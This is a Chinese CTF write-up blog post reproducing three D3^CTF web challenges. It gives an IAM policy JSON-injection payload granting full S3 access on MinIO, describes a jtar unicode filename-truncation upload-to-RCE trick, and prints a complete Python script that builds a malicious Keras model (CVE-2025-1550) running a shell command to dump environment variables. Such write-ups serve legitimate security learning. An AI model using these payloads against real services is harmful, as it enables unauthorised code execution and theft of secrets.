D3^CTF复现学习

D3^CTF 复现学习:

d3invitation

考点: AWS IAM(Identity and Access Management)策略 json 注入

看官方wp和问ai很清楚了,

1
2
3
4
5
6
7
8
9
10
11

由于session_token里的可访问内容是可由用户控制的,所以能用文件名来控制session_token

实现注入访问

注意在json里要包含双引号的话要用\来转义 如 "\

接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag

进行访问为例

问题是我不会用mc连接

payload:

1
2
3

"*\" ]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"

在json中要添加双引号字符需要用\来转义

d3jtar

这题docker搭出来有问题,直接看官方wp吧:

1
2
3
4
5
6
7
8
9
10
11

解题的关键在于工具类 Backup 所使用的 jtar 打包库。在使用

jtar 的 TarOutputStream 打包文件时,它会把文件名中的 unicode 强制转化为 ascii 码,

从而发生字符截断。利用这一点,我们可以将后缀带有特定 unicode 字符的文件上传

至靶机,绕过后缀黑名单检查,通过备份与恢复功能将上传的文件转变为 jsp 后缀的文

件并放回 jsp 可解析目录,最终 RCE 获取 flag

d3model

考点:Keras 模型文件的安全性问题

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

import keras

from flask import Flask, request, jsonify

import os



defis_valid_model(modelname):

try:

keras.models.load_model(modelname)

except:

returnFalse

returnTrue


app = Flask(__name__)


@app.route('/', methods=['GET'])

defindex():

returnopen('index.html').read()



@app.route('/upload', methods=['POST'])

defupload_file():

if'file'notin request.files:

return jsonify({'error': 'No file part'}), 400



file = request.files['file']



if file.filename == '':

return jsonify({'error': 'No selected file'}), 400



MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB

file.seek(0, os.SEEK_END)

file_size = file.tell()

file.seek(0)



if file_size > MAX_FILE_SIZE:

return jsonify({'error': 'File size exceeds 50MB limit'}), 400



filepath = os.path.join('./', 'test.keras')

if os.path.exists(filepath):

os.remove(filepath)

file.save(filepath)



if is_valid_model(filepath):

return jsonify({'message': 'Model is valid'}), 200

else:

return jsonify({'error': 'Invalid model file'}), 400


if__name__ == '__main__':

app.run(host='0.0.0.0', port=5000)

没接触过

但是原理wp上给了:

1
2
3
4
5
6
7

此题目基于 CVE-2025-1550.

当调用函数 keras.models.load_model 加载恶意 keras 文件时,其中特殊构造的

config.json 可以触发 RCE (Remote Code Execution).

上网找exp即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

import os

import zipfile

import json

from keras.models import Sequential

from keras.layers import Dense

import numpy as np


model_name = "test.keras"


x_train = np.random.rand(100, 28 * 28)

y_train = np.random.rand(100)


model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])


model.compile(optimizer='adam', loss='mse')

model.fit(x_train, y_train, epochs=5)

model.save(model_name)


with zipfile.ZipFile(model_name, "r") as f:

config = json.loads(f.read("config.json").decode())


config["config"]["layers"][0]["module"] = "keras.models"

config["config"]["layers"][0]["class_name"] = "Model"

config["config"]["layers"][0]["config"] = {

"name": "mvlttt",

"layers": [

{

"name": "mvlttt",

"class_name": "function",

"config": "Popen",

"module": "subprocess",

"inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]

}],

"input_layers": [["mvlttt", 0, 0]],

"output_layers": [["mvlttt", 0, 0]]

}


with zipfile.ZipFile(model_name, 'r') as zip_read:

with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:

for item in zip_read.infolist():

if item.filename != "config.json":

zip_write.writestr(item, zip_read.read(item.filename))


os.remove(model_name)

os.rename(f"tmp.{model_name}", model_name)


with zipfile.ZipFile(model_name, "a") as zf:

zf.writestr("config.json", json.dumps(config))


print("[+] Malicious model ready")


D3^CTF复现学习
https://aidemofashi.github.io/2025/10/07/D3-CTF复现学习/
作者
aidemofashi
发布于
2025年10月7日
许可协议